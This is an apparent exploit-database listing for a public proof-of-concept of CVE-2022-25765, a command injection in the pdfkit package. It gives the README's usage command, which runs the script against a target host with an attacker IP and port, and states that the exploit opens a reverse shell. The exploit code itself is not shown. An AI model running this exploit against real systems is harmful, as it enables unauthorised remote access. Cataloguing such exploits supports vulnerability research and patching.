CVE-2022-25765 PoC — Command Injection

Source

https://github.com/lowercasenumbers/CVE-2022-25765

Associated Vulnerability

Title:Command Injection (CVE-2022-25765)
Description:The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

Description

Exploit for CVE-2022-25765

Readme

# CVE-2022-25765 Exploit
A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection

Example usage: `python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444`

This POC takes advantage of a Command Injection vulnerability where the URL is not properly sanitized. This exploit takes an attacker's IP and Port as paramaters to be used for a reverse shell.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!